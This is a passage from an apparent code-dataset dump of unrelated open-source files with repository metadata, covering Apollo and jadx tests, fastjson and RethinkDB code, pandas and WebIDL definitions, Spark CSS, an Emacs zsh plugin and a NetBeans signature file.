// add jointness smooth constraint, up to jerk level continuous
spline_constraint->AddThirdDerivativeSmoothConstraint();
spline_constraint->AddMonotoneInequalityConstraintAtKnots();
spline_constraint->AddPointConstraint(0.0, 0.0);
spline_constraint->AddPointDerivativeConstraint(0.0, 0);
spline_constraint->AddPointSecondDerivativeConstraint(0.0, 0.0);
spline_constraint->AddPointSecondDerivativeConstraint(8.0, 0.0);
// add kernel (optimize kernel);
// jerk cost
spline_kernel->AddThirdOrderDerivativeMatrix(1000.0);
spline_kernel->AddReferenceLineKernelMatrix(x_coord, fx_guide, 0.4);
spline_kernel->AddRegularization(1.0);
EXPECT_TRUE(pg.Solve());
// extract parameters
auto params = pg.spline();
}
TEST(OsqpSpline1dSolver, three) {
std::vector<double> x_knots{0, 1, 2};
OsqpSpline1dSolver pg(x_knots, 5);
QuadraticProgrammingProblem qp_proto;
auto* spline_constraint = pg.mutable_spline_constraint();
auto* spline_kernel = pg.mutable_spline_kernel();
spline_constraint->AddThirdDerivativeSmoothConstraint();
spline_constraint->AddMonotoneInequalityConstraintAtKnots();
spline_constraint->AddPointConstraint(0.0, 0.0);
spline_constraint->AddPointDerivativeConstraint(0.0, 0.0);
spline_constraint->AddPointSecondDerivativeConstraint(0.0, 0.0);
std::vector<double> x_coord = {0, 0.5};
std::vector<double> l_bound = {1.8, 2};
std::vector<double> u_bound = {3, 7};
spline_constraint->AddBoundary(x_coord, l_bound, u_bound);
double intercept = 5;
double slope = 4;
spline_kernel->AddRegularization(1.0);
spline_kernel->AddThirdOrderDerivativeMatrix(10);
std::vector<double> t_knots(21, 0.0);
std::vector<double> ft_knots(21, 0.0);
for (size_t i = 0; i < t_knots.size(); ++i) {
t_knots[i] = static_cast<double>(i) * 0.1;
ft_knots[i] = t_knots[i] * slope + intercept;
}
spline_kernel->AddReferenceLineKernelMatrix(t_knots, ft_knots, 1);
EXPECT_TRUE(pg.Solve());
pg.GenerateProblemProto(&qp_proto);
EXPECT_EQ(qp_proto.param_size(), 12);
EXPECT_EQ(qp_proto.quadratic_matrix().row_size(), 12);
EXPECT_EQ(qp_proto.quadratic_matrix().col_size(), 12);
EXPECT_EQ(qp_proto.equality_matrix().row_size(), 7);
EXPECT_EQ(qp_proto.inequality_matrix().row_size(), 6);
}
} // namespace planning
} // namespace apollo
| C++ | 5 | seeclong/apollo | modules/planning/math/smoothing_spline/osqp_spline_1d_solver_test.cc | [
"Apache-2.0"
] |
package com.alibaba.json.bvt.serializer;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Enumeration;
import java.util.Set;
import java.util.Vector;
import junit.framework.TestCase;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.util.ServiceLoader;
import com.alibaba.json.demo.X;
public class ClassLoaderTest extends TestCase {
private ClassLoader ctxLoader;
protected void setUp() throws Exception {
ctxLoader = Thread.currentThread().getContextClassLoader();
}
protected void tearDown() throws Exception {
Thread.currentThread().setContextClassLoader(ctxLoader);
}
public void test_error() throws Exception {
Field field = ServiceLoader.class.getDeclaredField("loadedUrls");
field.setAccessible(true);
Set<String> loadedUrls = (Set<String>) field.get(null);
Thread.currentThread().setContextClassLoader(new MyClassLoader(new ClassCastException()));
JSON.toJSONString(new A());
loadedUrls.clear();
Thread.currentThread().setContextClassLoader(new MyClassLoader(new IOException()));
JSON.toJSONString(new B());
loadedUrls.clear();
Thread.currentThread().setContextClassLoader(new EmptyClassLoader());
JSON.toJSONString(new C());
loadedUrls.clear();
Thread.currentThread().setContextClassLoader(new ErrorClassLoader());
JSON.toJSONString(new D());
loadedUrls.clear();
Thread.currentThread().setContextClassLoader(ctxLoader);
JSON.toJSONString(new E());
}
public static class EmptyClassLoader extends ClassLoader {
public Enumeration<URL> getResources(String name) throws IOException {
return new Vector<URL>().elements();
}
}
public static class ErrorClassLoader extends ClassLoader {
public Class<?> loadClass(String name) throws ClassNotFoundException {
return Object.class;
}
}
public static class MyClassLoader extends ClassLoader {
private final Exception error;
public MyClassLoader(Exception error){
super();
this.error = error;
}
public Enumeration<URL> getResources(String name) throws IOException {
if (error instanceof IOException) {
throw (IOException) error;
}
throw (RuntimeException) error;
}
}
public class A {
}
public class B {
}
public class C {
}
public class D {
}
public class E {
}
}
| Java | 4 | Czarek93/fastjson | src/test/java/com/alibaba/json/bvt/serializer/ClassLoaderTest.java | [
"Apache-2.0"
] |
{# Update the html_style/table_structure.html documentation too #}
{% if doctype_html %}
<!DOCTYPE html>
<html>
<head>
<meta charset="{{encoding}}">
{% if not exclude_styles %}{% include html_style_tpl %}{% endif %}
</head>
<body>
{% include html_table_tpl %}
</body>
</html>
{% elif not doctype_html %}
{% if not exclude_styles %}{% include html_style_tpl %}{% endif %}
{% include html_table_tpl %}
{% endif %}
| Smarty | 4 | 13rianlucero/CrabAgePrediction | crabageprediction/venv/Lib/site-packages/pandas/io/formats/templates/html.tpl | [
"MIT"
] |
// Copyright 2010-2012 RethinkDB, all rights reserved.
#include "containers/buffer_group.hpp"
#include <string.h>
#include <algorithm>
void buffer_group_copy_data(const buffer_group_t *dest, const const_buffer_group_t *source) {
// TODO: Is a buffer group size an int?
int64_t bytes = source->get_size();
rassert(bytes == static_cast<int64_t>(dest->get_size()));
/* Copy data between source and dest; we have to always copy the minimum of the sizes of the
next chunk that each one has */
int64_t source_buf = 0, source_off = 0, dest_buf = 0, dest_off = 0;
while (bytes > 0) {
while (source->get_buffer(source_buf).size == source_off) {
source_buf++;
source_off = 0;
}
while (dest->get_buffer(dest_buf).size == dest_off) {
dest_buf++;
dest_off = 0;
}
int chunk = std::min(
source->get_buffer(source_buf).size - source_off,
dest->get_buffer(dest_buf).size - dest_off);
memcpy(
reinterpret_cast<char *>(dest->get_buffer(dest_buf).data) + dest_off,
reinterpret_cast<const char *>(source->get_buffer(source_buf).data) + source_off,
chunk);
source_off += chunk;
dest_off += chunk;
bytes -= chunk;
}
/* Make sure we reached the end of both source and dest */
rassert((source_buf == static_cast<int64_t>(source->num_buffers()) && source_off == 0) ||
(source_buf == static_cast<int64_t>(source->num_buffers()) - 1 && source_off == source->get_buffer(source_buf).size));
rassert((dest_buf == static_cast<int64_t>(dest->num_buffers()) && dest_off == 0) ||
(dest_buf == static_cast<int64_t>(dest->num_buffers()) - 1 && dest_off == dest->get_buffer(dest_buf).size));
}
void buffer_group_copy_data(const buffer_group_t *out, const char *in, int64_t size) {
buffer_group_t group;
group.add_buffer(size, in);
buffer_group_copy_data(out, const_view(&group));
}
| C++ | 4 | zadcha/rethinkdb | src/containers/buffer_group.cc | [
"Apache-2.0"
] |
<http://example.org/foo> <http://example.org/bar> "2.345"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "1"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "1.0"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "1."^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "1.000000000"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.3"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.234000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.2340000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.23400000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.234000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.2340000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.23400000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.234000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.2340000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.23400000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.234000000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.2340000000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.23400000000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.234000000000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.2340000000000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "2.23400000000000000000005"^^<http://www.w3.org/2001/XMLSchema#decimal> .
<http://example.org/foo> <http://example.org/bar> "1.2345678901234567890123457890"^^<http://www.w3.org/2001/XMLSchema#decimal> .
| Turtle | 2 | joshrose/audacity | lib-src/lv2/serd/tests/TurtleTests/turtle-subm-26.ttl | [
"CC-BY-3.0"
] |
sleep X
t app appmode photo_burst
sleep 1
t app burst_settings 5-1
sleep 1
t app button shutter PR
sleep 9
t app appmode photo_burst
d.\autoexec.ash
REBOOt yess | AGS Script | 1 | waltersgrey/autoexechack | BurstHacks/BurstLoop/5-1/Hero3PlusBlack/autoexec.ash | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="168px" height="152px" viewBox="0 0 168 152" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns">
<!-- Generator: Sketch 3.3.1 (12002) - http://www.bohemiancoding.com/sketch -->
<title>Shape</title>
<desc>Created with Sketch.</desc>
<defs></defs>
<g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" sketch:type="MSPage">
<g id="03-Styles" sketch:type="MSArtboardGroup" transform="translate(-636.000000, -1338.000000)" stroke="#F5C7C1" fill="#F5C6C1">
<g id="Rectangle-142-+-ICONS-+-Shape" sketch:type="MSLayerGroup" transform="translate(0.000000, 1269.000000)">
<g id="ICONS-+-Shape" transform="translate(637.000000, 70.000000)" sketch:type="MSShapeGroup">
<path d="M107.464654,1.53846154 L123.610481,17.2615385 L123.994722,17.6923077 L124.617194,17.6923077 L149.592889,17.6923077 C157.784917,17.6923077 164.455349,24.5923077 164.455349,33.0769231 L164.455349,133.076923 C164.455349,141.561538 157.792602,148.461538 149.592889,148.461538 L16.399426,148.461538 C8.19971298,148.461538 1.53696588,141.561538 1.53696588,133.076923 L1.53696588,33.0769231 C1.53696588,24.5923077 8.19971298,17.6923077 16.399426,17.6923077 L41.3751215,17.6923077 L41.9975927,17.6923077 L42.4433128,17.2615385 L58.6429332,1.53846154 L107.587612,1.53846154 L107.464654,1.53846154 Z M107.971853,0 L58.020462,0 L41.3674367,16.1538462 L16.3917411,16.1538462 C7.20068515,16.1538462 0,23.8769231 0,33.0769231 L0,133.076923 C0,142.284615 7.20068515,150 16.399426,150 L149.600574,150 C158.79163,150 166,142.276923 166,133.076923 L166,33.0769231 C166,23.8769231 158.799315,16.1538462 149.600574,16.1538462 L124.624878,16.1538462 L107.971853,0 L107.971853,0 Z" id="Shape"></path>
</g>
</g>
</g>
</g>
</svg> | SVG | 2 | izioto/material-design-lite | docs/_assets/icons.svg | [
"CC-BY-4.0"
] |
# Emacs 23 daemon capability is a killing feature.
# One emacs process handles all your frames whether
# you use a frame opened in a terminal via a ssh connection or X frames
# opened on the same host.
# Benefits are multiple
# - You don't have the cost of starting Emacs all the time anymore
# - Opening a file is as fast as Emacs does not have anything else to do.
# - You can share opened buffered across opened frames.
# - Configuration changes made at runtime are applied to all frames.
# Require emacs version to be minimum 24
autoload -Uz is-at-least
is-at-least 24 "${${(Az)"$(emacsclient --version 2>/dev/null)"}[2]}" || return 0
# Path to custom emacsclient launcher
export EMACS_PLUGIN_LAUNCHER="${0:A:h}/emacsclient.sh"
# set EDITOR if not already defined.
export EDITOR="${EDITOR:-${EMACS_PLUGIN_LAUNCHER}}"
alias emacs="$EMACS_PLUGIN_LAUNCHER --no-wait"
alias e=emacs
# open terminal emacsclient
alias te="$EMACS_PLUGIN_LAUNCHER -nw"
# same than M-x eval but from outside Emacs.
alias eeval="$EMACS_PLUGIN_LAUNCHER --eval"
# create a new X frame
alias eframe='emacsclient --alternate-editor "" --create-frame'
# Emacs ANSI Term tracking
if [[ -n "$INSIDE_EMACS" ]]; then
chpwd_emacs() { print -P "\033AnSiTc %d"; }
print -P "\033AnSiTc %d" # Track current working directory
print -P "\033AnSiTu %n" # Track username
# add chpwd hook
autoload -Uz add-zsh-hook
add-zsh-hook chpwd chpwd_emacs
fi
# Write to standard output the path to the file
# opened in the current buffer.
function efile {
local cmd="(buffer-file-name (window-buffer))"
local file="$("$EMACS_PLUGIN_LAUNCHER" --eval "$cmd" | tr -d \")"
if [[ -z "$file" ]]; then
echo "Can't deduce current buffer filename." >&2
return 1
fi
echo "$file"
}
# Write to standard output the directory of the file
# opened in the the current buffer
function ecd {
local file
file="$(efile)" || return $?
echo "${file:h}"
}
| Shell | 4 | sshishov/ohmyzsh | plugins/emacs/emacs.plugin.zsh | [
"MIT"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
html {
font-size: 14px;
}
.h1, .h2, .h3, .h4, .h5, .h6,
h1, h2, h3, h4, h5, h6 {
font-weight: 700;
margin: 0.75rem 0;
}
h4 {
font-size: 1.25rem;
}
a,
a:not([href]) {
color: #0088cc;
text-decoration: none;
}
a:hover,
a:not([href]):hover {
color: #005580;
text-decoration:underline
}
.btn-spark {
color:#333333;
background-color:#ffffff;
background-image:linear-gradient(to bottom, #ffffff, #e6e6e6);
background-repeat:repeat-x;
border: 1px solid #ced4da;
border-bottom-color: #b3b3b3;
box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
}
.btn-spark:hover {
background-color: #e6e6e6;
background-position:0 -15px;
transition:background-position 0.1s linear;
}
.form-inline label {
margin-left: 0.25rem;
margin-right: 0.25rem;
}
.navbar {
background-color: #fafafa;
background-image: linear-gradient(to bottom, #ffffff, #f2f2f2);
background-repeat: repeat-x;
box-shadow: 0 1px 10px rgba(0,0,0,.1);
border-bottom-color: #d4d4d4;
border-bottom-style: solid;
border-bottom-width: 1px;
font-size: 15px;
line-height: 1;
margin-bottom: 15px;
padding: 0 1rem;
}
.navbar .navbar-brand {
padding: 0;
}
.navbar-brand a:hover {
text-decoration: none;
}
.navbar .navbar-nav .nav-link {
height: 50px;
padding: 10px 15px 10px;
line-height: 2;
}
.navbar .navbar-nav .nav-item.active .nav-link {
background-color: #e5e5e5;
box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125);
color: #555555;
}
table.sortable thead {
cursor: pointer;
}
table.sortable td {
word-wrap: break-word;
max-width: 600px;
}
.progress {
font-size: 1rem;
height: 1.42rem;
margin-bottom: 0px;
position: relative;
box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);
}
.progress .progress-bar.progress-started {
background-color: #A0DFFF;
background-image: -moz-linear-gradient(top, #A4EDFF, #94DDFF);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#A4EDFF), to(#94DDFF));
background-image: -webkit-linear-gradient(top, #A4EDFF, #94DDFF);
background-image: -o-linear-gradient(top, #A4EDFF, #94DDFF);
background-image: linear-gradient(to bottom, #A4EDFF, #94DDFF);
background-repeat: repeat-x;
filter: progid:dximagetransform.microsoft.gradient(startColorstr='#FFA4EDFF', endColorstr='#FF94DDFF', GradientType=0);
}
.progress .progress-bar.progress-completed {
background-color: #3EC0FF;
background-image: -moz-linear-gradient(top, #44CBFF, #34B0EE);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#44CBFF), to(#34B0EE));
background-image: -webkit-linear-gradient(top, #44CBFF, #34B0EE);
background-image: -o-linear-gradient(top, #44CBFF, #34B0EE);
background-image: linear-gradient(to bottom, #64CBFF, #54B0EE);
background-repeat: repeat-x;
filter: progid:dximagetransform.microsoft.gradient(startColorstr='#FF44CBFF', endColorstr='#FF34B0EE', GradientType=0);
}
a.kill-link {
margin-right: 2px;
margin-left: 20px;
color: gray;
float: right;
}
a.name-link {
word-wrap: break-word;
}
span.expand-details {
font-size: 10pt;
cursor: pointer;
color: grey;
float: right;
}
span.rest-uri {
font-size: 10pt;
font-style: italic;
color: gray;
}
pre {
background-color: rgba(0, 0, 0, .05);
font-size: 12px;
line-height: 18px;
padding: 6px;
margin: 0;
word-break: break-word;
border: 1px solid rgba(0, 0, 0, 0.15);
border-radius: 3px;
white-space: pre-wrap;
}
.stage-details {
overflow-y: auto;
margin: 0;
display: block;
transition: max-height 0.25s ease-out, padding 0.25s ease-out;
}
.stage-details.collapsed {
padding-top: 0;
padding-bottom: 0;
border: none;
display: none;
}
.description-input {
overflow: hidden;
text-overflow: ellipsis;
width: 100%;
white-space: nowrap;
display: block;
}
.description-input-full {
overflow: hidden;
text-overflow: ellipsis;
width: 100%;
white-space: normal;
display: block;
}
.stacktrace-details {
max-height: 300px;
overflow-y: auto;
margin: 0;
display: block;
transition: max-height 0.25s ease-out, padding 0.25s ease-out;
}
.stacktrace-details.collapsed {
padding-top: 0;
padding-bottom: 0;
border: none;
display: none;
}
span.expand-dag-viz, .collapse-table {
cursor: pointer;
}
.collapsible-table.collapsed {
display: none;
}
.tooltip {
font-size: 0.786rem;
font-weight: normal;
}
.arrow-open {
width: 0;
height: 0;
border-left: 5px solid transparent;
border-right: 5px solid transparent;
border-top: 5px solid #08c;
display: inline-block;
margin-bottom: 2px;
}
.arrow-closed {
width: 0;
height: 0;
border-top: 5px solid transparent;
border-bottom: 5px solid transparent;
border-left: 5px solid #08c;
display: inline-block;
margin-left: 2px;
margin-right: 3px;
}
.version {
line-height: 2.5;
vertical-align: bottom;
font-size: 12px;
padding: 0;
margin: 0;
font-weight: bold;
color: #777;
}
.accordion-inner {
background: #f5f5f5;
}
.accordion-inner pre {
border: 0;
padding: 0;
background: none;
}
a.expandbutton {
cursor: pointer;
}
.threaddump-td-mouseover {
background-color: #49535a !important;
color: white;
cursor:pointer;
}
.table-head-clickable th a, .table-head-clickable th a:hover {
/* Make the entire header clickable, not just the text label */
display: block;
width: 100%;
/* Suppress the default link styling */
color: #333;
text-decoration: none;
}
.log-more-btn, .log-new-btn {
width: 100%
}
.no-new-alert {
text-align: center;
margin: 0;
padding: 4px 0;
}
.table-cell-width-limited td {
max-width: 600px;
}
.page-link {
color: #0088cc;
}
.page-item.active .page-link {
background-color: #0088cc;
border-color: #0088cc;
}
.title-table {
clear: left;
display: inline-block;
}
.table-dataTable {
width: 100%;
}
.select-all-div-checkbox-div {
width: 90px;
}
.scheduler-delay-checkbox-div {
width: 130px;
}
.task-deserialization-time-checkbox-div {
width: 190px;
}
.shuffle-read-blocked-time-checkbox-div {
width: 200px;
}
.shuffle-remote-reads-checkbox-div {
width: 170px;
}
.result-serialization-time-checkbox-div {
width: 185px;
}
.getting-result-time-checkbox-div {
width: 155px;
}
.peak-execution-memory-checkbox-div {
width: 180px;
}
#active-tasks-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#active-tasks-table th:first-child {
border-left: 1px solid #dddddd;
}
#accumulator-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#accumulator-table th:first-child {
border-left: 1px solid #dddddd;
}
#summary-executor-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#summary-executor-table th:first-child {
border-left: 1px solid #dddddd;
}
#speculation-metrics-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#speculation-metrics-table th:first-child {
border-left: 1px solid #dddddd;
}
#summary-metrics-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#summary-metrics-table th:first-child {
border-left: 1px solid #dddddd;
}
#summary-execs-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#summary-execs-table th:first-child {
border-left: 1px solid #dddddd;
}
#active-executors-table th {
border-top: 1px solid #dddddd;
border-bottom: 1px solid #dddddd;
border-right: 1px solid #dddddd;
}
#active-executors-table th:first-child {
border-left: 1px solid #dddddd;
}
| CSS | 3 | kyoty/spark | core/src/main/resources/org/apache/spark/ui/static/webui.css | [
"BSD-2-Clause",
"Apache-2.0",
"CC0-1.0",
"MIT",
"MIT-0",
"ECL-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
// An example of the bind construct using a hierarchical reference starting with $root
module foo (input logic a, input logic b, output logic c);
// Magic happens here...
endmodule
module bar (input a, input b, output c);
assign c = a ^ b;
endmodule
module top ();
logic u, v, w;
foo foo_i (.a (u), .b (v), .c (w));
always_comb begin
assert(w == u ^ v);
end
endmodule
bind $root.top.foo_i bar bound_i (.*);
| SystemVerilog | 4 | gudeh/yosys | tests/bind/hier.sv | [
"ISC"
] |
/* -*- Mode: IDL; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/.
*
* The origin of this IDL file is
* https://w3c.github.io/FileAPI/#file
*/
// invalid widl
//interface nsIFile;
[Constructor(sequence<BlobPart> fileBits,
USVString fileName, optional FilePropertyBag options),
Exposed=(Window,Worker)]
interface File : Blob {
readonly attribute DOMString name;
[GetterThrows]
readonly attribute long long lastModified;
};
dictionary FilePropertyBag {
DOMString type = "";
long long lastModified;
};
dictionary ChromeFilePropertyBag : FilePropertyBag {
DOMString name = "";
boolean existenceCheck = true;
};
| WebIDL | 5 | tlively/wasm-bindgen | crates/web-sys/webidls/enabled/File.webidl | [
"Apache-2.0",
"MIT"
] |
import os
import os.path
path =os.getcwd()
listdir =os.listdir(path)
html =[]
for dirs in listdir:
if (dirs[-1]=="l") and (dirs[0].isnumeric()):
html.append(dirs)
html.sort()
print(html)
k=0
for item in html:
if 0<k<len(html)-1:
next_path = html[k+1]
l_path =html[k-1]
elif k==0:
l_path =html[-1]
next_path=html[1]
else:
l_path =html[-2]
next_path=html[0]
k=0
with open(item,"a") as f:
f.write('\n<a href="./'+next_path+'">下一页</a>\n')
f.write('\n<a href="./'+l_path+'">上一页</a>\n')
k = k+1
print("end!")
| Python | 4 | CFFPhil/build-web-application-with-golang | zh/a_href.py | [
"BSD-3-Clause"
] |
package jadx.tests.integration.debuginfo;
import java.lang.ref.WeakReference;
import org.junit.jupiter.api.Test;
import jadx.core.dex.nodes.ClassNode;
import jadx.tests.api.IntegrationTest;
import static org.junit.jupiter.api.Assertions.assertEquals;
public class TestLineNumbers2 extends IntegrationTest {
public static class TestCls {
private WeakReference<TestCls> f;
// keep constructor at line 18
public TestCls(TestCls s) {
}
public TestCls test(TestCls s) {
TestCls store = f != null ? f.get() : null;
if (store == null) {
store = new TestCls(s);
f = new WeakReference<>(store);
}
return store;
}
public Object test2() {
return new Object();
}
}
@Test
public void test() {
printLineNumbers();
ClassNode cls = getClassNode(TestCls.class);
String linesMapStr = cls.getCode().getLineMapping().toString();
if (isJavaInput()) {
assertEquals("{6=16, 9=17, 12=21, 13=22, 14=23, 16=25, 18=27, 21=30}", linesMapStr);
} else {
// TODO: invert condition to match source lines
assertEquals("{6=16, 9=17, 12=21, 13=22, 14=23, 15=27, 17=24, 18=25, 19=27, 22=30, 23=31}", linesMapStr);
}
}
}
| Java | 5 | Dev-kishan1999/jadx | jadx-core/src/test/java/jadx/tests/integration/debuginfo/TestLineNumbers2.java | [
"Apache-2.0"
] |
.zoom-default
.zoom-wrapper
width 100%
overflow hidden
.zoom-items
display flex
flex-direction row
flex-wrap wrap
align-content space-between
.grid-item
flex 1 1 25%
box-sizing border-box
height 52px
line-height 52px
border 1px solid #eee
text-align center
&:nth-child(2n)
background-color #b3d4a8
&:nth-child(2n+1)
background-color #b6b7a3
.btn-wrap
margin-top 20px
display flex
justify-content center
button
margin 0 10px
padding 10px
color #fff
border-radius 4px
background-color #666
.linkwork-wrap
margin-top 50px
p
margin 10px 0
font-size 16px
font-weight bold
text-align center
.linkwork-block
margin 10px auto
width 60px
height 60px
border-radius 50%
img {
width 100%
}
| Stylus | 3 | cym2050/better-scroll | packages/react-examples/src/pages/zoom/index.styl | [
"MIT"
] |
/*
* Copyright (c) 2021, Ali Mohammad Pur <mpfard@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <LibJS/Bytecode/BasicBlock.h>
#include <LibJS/Bytecode/Generator.h>
#include <sys/time.h>
#include <time.h>
namespace JS::Bytecode {
struct PassPipelineExecutable {
Executable& executable;
Optional<HashMap<BasicBlock const*, HashTable<BasicBlock const*>>> cfg {};
Optional<HashMap<BasicBlock const*, HashTable<BasicBlock const*>>> inverted_cfg {};
Optional<HashTable<BasicBlock const*>> exported_blocks {};
};
class Pass {
public:
Pass() = default;
virtual ~Pass() = default;
virtual void perform(PassPipelineExecutable&) = 0;
void started()
{
gettimeofday(&m_start_time, nullptr);
}
void finished()
{
struct timeval end_time {
0, 0
};
gettimeofday(&end_time, nullptr);
time_t interval_s = end_time.tv_sec - m_start_time.tv_sec;
suseconds_t interval_us = end_time.tv_usec;
if (interval_us < m_start_time.tv_usec) {
interval_s -= 1;
interval_us += 1000000;
}
interval_us -= m_start_time.tv_usec;
m_time_difference = interval_s * 1000000 + interval_us;
}
u64 elapsed() const { return m_time_difference; }
protected:
struct timeval m_start_time {
0, 0
};
u64 m_time_difference { 0 };
};
class PassManager : public Pass {
public:
PassManager() = default;
~PassManager() override = default;
void add(NonnullOwnPtr<Pass> pass) { m_passes.append(move(pass)); }
template<typename PassT, typename... Args>
void add(Args&&... args) { m_passes.append(make<PassT>(forward<Args>(args)...)); }
void perform(Executable& executable)
{
PassPipelineExecutable pipeline_executable { executable };
perform(pipeline_executable);
}
virtual void perform(PassPipelineExecutable& executable) override
{
started();
for (auto& pass : m_passes)
pass.perform(executable);
finished();
}
private:
NonnullOwnPtrVector<Pass> m_passes;
};
namespace Passes {
class GenerateCFG : public Pass {
public:
GenerateCFG() = default;
~GenerateCFG() override = default;
private:
virtual void perform(PassPipelineExecutable&) override;
};
class MergeBlocks : public Pass {
public:
MergeBlocks() = default;
~MergeBlocks() override = default;
private:
virtual void perform(PassPipelineExecutable&) override;
};
class PlaceBlocks : public Pass {
public:
PlaceBlocks() = default;
~PlaceBlocks() override = default;
private:
virtual void perform(PassPipelineExecutable&) override;
};
class UnifySameBlocks : public Pass {
public:
UnifySameBlocks() = default;
~UnifySameBlocks() override = default;
private:
virtual void perform(PassPipelineExecutable&) override;
};
class DumpCFG : public Pass {
public:
DumpCFG(FILE* file)
: m_file(file)
{
}
~DumpCFG() override = default;
private:
virtual void perform(PassPipelineExecutable&) override;
FILE* m_file { nullptr };
};
}
}
| C | 4 | r00ster91/serenity | Userland/Libraries/LibJS/Bytecode/PassManager.h | [
"BSD-2-Clause"
] |
#Signature file v4.1
#Version 1.66
CLSS public abstract interface java.io.Serializable
CLSS public abstract interface java.lang.Comparable<%0 extends java.lang.Object>
meth public abstract int compareTo({java.lang.Comparable%0})
CLSS public abstract java.lang.Enum<%0 extends java.lang.Enum<{java.lang.Enum%0}>>
cons protected init(java.lang.String,int)
intf java.io.Serializable
intf java.lang.Comparable<{java.lang.Enum%0}>
meth protected final java.lang.Object clone() throws java.lang.CloneNotSupportedException
meth protected final void finalize()
meth public final boolean equals(java.lang.Object)
meth public final int compareTo({java.lang.Enum%0})
meth public final int hashCode()
meth public final int ordinal()
meth public final java.lang.Class<{java.lang.Enum%0}> getDeclaringClass()
meth public final java.lang.String name()
meth public java.lang.String toString()
meth public static <%0 extends java.lang.Enum<{%%0}>> {%%0} valueOf(java.lang.Class<{%%0}>,java.lang.String)
supr java.lang.Object
CLSS public java.lang.Object
cons public init()
meth protected java.lang.Object clone() throws java.lang.CloneNotSupportedException
meth protected void finalize() throws java.lang.Throwable
meth public boolean equals(java.lang.Object)
meth public final java.lang.Class<?> getClass()
meth public final void notify()
meth public final void notifyAll()
meth public final void wait() throws java.lang.InterruptedException
meth public final void wait(long) throws java.lang.InterruptedException
meth public final void wait(long,int) throws java.lang.InterruptedException
meth public int hashCode()
meth public java.lang.String toString()
CLSS public abstract interface org.netbeans.modules.csl.api.GsfLanguage
meth public abstract boolean isIdentifierChar(char)
meth public abstract java.lang.String getDisplayName()
anno 0 org.netbeans.api.annotations.common.NonNull()
meth public abstract java.lang.String getLineCommentPrefix()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public abstract java.lang.String getPreferredExtension()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
